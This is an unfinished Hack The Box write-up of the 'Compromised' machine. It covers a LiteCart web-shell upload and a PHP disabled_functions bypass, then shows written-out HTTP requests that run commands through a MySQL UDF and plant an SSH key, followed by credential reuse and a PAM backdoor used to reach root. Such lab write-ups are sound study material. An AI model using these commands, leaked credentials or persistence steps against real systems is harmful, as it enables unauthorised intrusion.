HTB - Compromised

Zweilosec's writeup on the hard-difficulty machine Compromised from https://hackthebox.eu

Overview

Short description to include any strange things to be dealt with

TODO: finish writeup, and clean up

Useful Skills and Tools

Useful thing 1

  • description with generic example

Useful thing 2

  • description with generic example

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.10.207. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oA <name> saves the output with a filename of <name>.

Only two ports open, 22 - SSH, and 80 - HTTP

Port 80 - HTTP

Website selling rubber duckies on port 80;

Powered by LiteCart need to find version to see if there are any vulnerabilities

In the contact information found an email address admin@compromised.htb, which gave me a potential username, and a domain name. I added this to my /etc/hosts file.

Created an account on the site

I tried to reset the password for the email address I had found, but was told that it didn't exist in the database. I could potentially use this to find valid users later since the error is too verbose.

No SQL injection was possible in the input fields.

I ran dirbuster and found a folder /backup.

/backup contained a zip file a.tar.gz

It seemed like a backup of the whole file structure of the site. There definitely had to be some interesting information in here, but there was a lot to go through. After searching through the files for awhile, it looked like the site had been compromised at some point, since there was a PHP backdoor included in the backup.

The robots.txt and sitemap.xml did not exist on the live site, perhaps they were removed after the site was compromised?

Post-completion edit: yes these files exist, I had been looking for them in the root, not in the /shop directory.

The /admin folder looked like a good place to start searching. I did a search for passwords in the files, and

the login page of the admin folder contained a reference to a log file that usernames and passwords were being written to

The file login.php had been modified more recently than everything else here, perhaps to comment out that line

The /includes/library folder had also been modified on Sep 3

Checking the files in this folder lead to lib_user.inc.php. This file was also modified on September 3, and contained references to same hidden log file.

searching the rest of the folders found password hash in includes/config.inc.php

I tried cracking this hash using hashcat, but was unsuccessful.

This file also included possible database creds and names of all of the tables

After getting sidetracked for awhile looking for potential passwords and hashes, I went back to looking at the modified files. Both files contained the same reference to this hidden log file, and both had been modified on Sep 3

There were only a few files modified on that day; There were no files in /admin/users.app/ that had been modified that day, so something had likely been deleted from there

I found the log file by navigating to it in my browser. The file contained credentials for an admin user User: admin Passwd: theNextGenSt0r3!~

Using these creds I tried to login to the admin page;

after logging in I got an interesting message that said some thing of the sort: "The last time you logged in was at IP 10.10.14.27. If this was not you your credentials may have been compromised". Unfortunately the message disappeared before I could screenshot it.

There was also a banner that said that the admin account was not .htpasswd protected

I noticed in the bottom corner of the page that the version of LiteCart they were using was 2.1.2, so I looked up whether there were any known vulnerabilities associated with that version

To use the exploit I needed to supply admin credentials, and the path of the admin login page. Luckily I already had that information. Sadly, the exploit was written in python2 so I had to do a bit of work to get it to run

https://stackoverflow.com/questions/8405096/python-3-2-cookielib

hmmm...next I looked at the code in the python exploit and manually tried to exploit it.

Files to upload had to be .xml.

I was able to upload my web-shell and access it by disquising it as an xml file using burp

Upload success

I could not get any commands to run. They would all time out, so I guessed there was a firewall or something blocking it

Enumeration through phpinfo()

I tried to get the version of PHP that the server was running using the phpinfo() method, and got back a ton of information from the server. There was pages and pages of configuration and environment information about the server and the current running context. version 7.2.24-0ubuntu0.18.04.6

More information, user context is www-data

Information overload

The PHP disabled_functions

After looking closely through all of the output, I noticed that there was a section called "disabled functions" which held all of the methods of code execution that I knew of

There were many functions disabled. Most had to do with executing code in some way, and some other interesting sounding php functions I didn't know of...but couldn't use here anyway

I searched for a possible vulnerability in this version of PHP to see if there was a way to re-enable functions or something like that and found

The last one only works up to 7.2.19,

but there was another one from the same author that work up to 7.3; I modified the exploit POC to allow me to supply arbitrary commands, uploaded it, and tested it.

Success! I had code execution. I was running in the context of www-data

Got /etc/passwd There were three users who could login: sysadmin, mysql, and root

The mysql daemon

Checked output of ps aux and noticed mysqld was running. Perhaps I could enumerate the database since I had seen the tables and login information earlier

I checked to see what configuration files there were for mysqld

Found a way to execute shell commands using mysql

If there was a way to do this, maybe from the command line too

Enumerated databases

GET /shop/vqmod/xml/cantfindmyshell.php?var=mysql+-u+root+-pchangethis+-v+-e+"show+tables"+ecom HTTP/1.1

Listed tables in the ecom database.

got code execution with GET /shop/vqmod/xml/cantfindmyshell.php?var=mysql+-u+root+-pchangethis+-v+-e+"system+id"+ecom HTTP/1.1

had to specify -e to execute SQL commands, system to run system commands, and had to end the line with the database name 'ecom'

Unfortunately, I was still executing commands as www-data however, need to figure out how to escalate privileges; Found an interesting thing in the mysql references that talks about user defined variables

User-defined variables are session specific. A user variable defined by one client cannot be seen or used by other clients.

https://dev.mysql.com/doc/refman/8.0/en/performance-schema-user-defined-functions-table.html

There was also a section on user-defined functions

I started browsing through the mysql database

Found the credentials for the root user for mysql

There was one function stored in the func table in the mysql database called exec_cmd. I tried to use this function directly, but id didn't work. After some trial and error I found out that it had to used together with the SELECT SQL command.

GET /shop/vqmod/xml/cantfindmyshell.php?var=mysql+-u+root+-pchangethis+-v+-e+"select+exec_cmd('id')"+mysql HTTP/1.1

From these results I could see that this function was running in the context of the user mysql. Since I knew that this user could log in, I tried to insert my SSH public key into their .ssh/authorized_keys file so I could login using SSH.

GET /shop/vqmod/xml/cantfindmyshell.php?var=mysql+-u+root+-pchangethis+-v+-e+"select+exec_cmd('echo+ecdsa-sha2-nistp256+AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLNqKR/rHfuv30j7eOmU85z%2bEKhPfUFtn9WEARBZzwF6LFTCgjZzqAF0GevT3b22Z5iqwETgfF%2bQcmjAw3Ld9VY%3d+>>+~/.ssh/authorized_keys')"+mysql HTTP/1.1

Initial Foothold

Enumeration as mysql

My SSH key injection was sucessfull, and I was able to SSH into the box. I was able to login as mysql, but there was no user.txt in sight. It looked like I needed to move laterally to sysadmin first.

I exfiltrated the user's private SSH key so I could log in as needed in the future. (Why the mysql user has a SSH key is a question for another time!)

Finding user creds

I wasnt sure what the strace.log was, so I did some research.

The strace tool intercepts and records any system calls (a.k.a. syscalls) performed and any signals received by a traced process. It is excellent for complex troubleshooting, but beware, as it has a high-performance impact for the traced process.

The file had a ton of output, so I filtered it for lines where mysql had been run.

It looked like the password had been changed a few times. I took note of each of the passwords to see if any of them had been reused. Using the password 3*NLJE32I$Fe I was able to switch users to sysadmin.

User.txt

Path to Power (Gaining Administrator Access)

Enumeration as sysadmin

The user sysadmin was not able to use sudo. (What kind of sysadmin is this?)

I was unable to ping my computer, so I was worried that I wouldn't be able to connect back to my machine. I thought about using base64 "copy-pasta" to transfer files, but after an "Oh duh!" moment I remembered that I was able to SSH in, and therefore could use SCP to get files in.

Unfortunately, even awesome automated tools like linpeas.sh can only get you so much information. In this case, it didn't supply me with much of anything to go off, so I decided to do a bit more manual enumeration.

First I searched for obvious misconfigurations in sshd and other /etc configuration files but found nothing very interesting. Next I used the find command to search for hidden files.

There were a lot of hidden files, but one that stuck out was the file:

PAM is the pluggable authentication module, and is what controls IAM for Linux machines. This shouldn't be a hidden file.

It was very suspicious that there were two versions of this file here, with one hidden. Even more suspicious was the fact that though pam_unix.so and the hidden version were the same file size and had the same modify date, thedate was very different from the reset of the files here.

After doing some basic analysis with strings and finding nothing, I copied the files back to my machine with SCP to look a bit deeper.

Using Ghidra for binary analysis

I opened the file in ghidra and started browsing through the code. Luckily the file was compiled with symbols and strings intact, which made browsing through the code much easier.

After searching for a long time and questioning whether I was in a rabbit hole, I found what I needed in the pam_sm_authenticate function. The c code decompiled by ghidra showed a variable named backdoor which stood out to me immediately.

Based on the code in the assembly view, it looked like these two strings were concatenated to make the backdoor password. It then uses strcmp to compare the backdoor password to the input password and allows authentication if they match. It didn't hurt to try!

It didn't work for switching users to root, but when looking at the code I had a thought. It said earlier that the code was little-endian, so...maybe the strings were backwards?

I combined the two halves of the password and tried to switch users to root.

Getting a shell

And that was it! I was logged in as root.

Root.txt

After that it was a simple matter to collect my proof!

Thanks to D4nch3n for... [something interesting or useful about this machine.]

If you like this content and would like to see more, please consider buying me a coffee!

PreviousHTB - FelineNextInsane

Last updated

Was this helpful?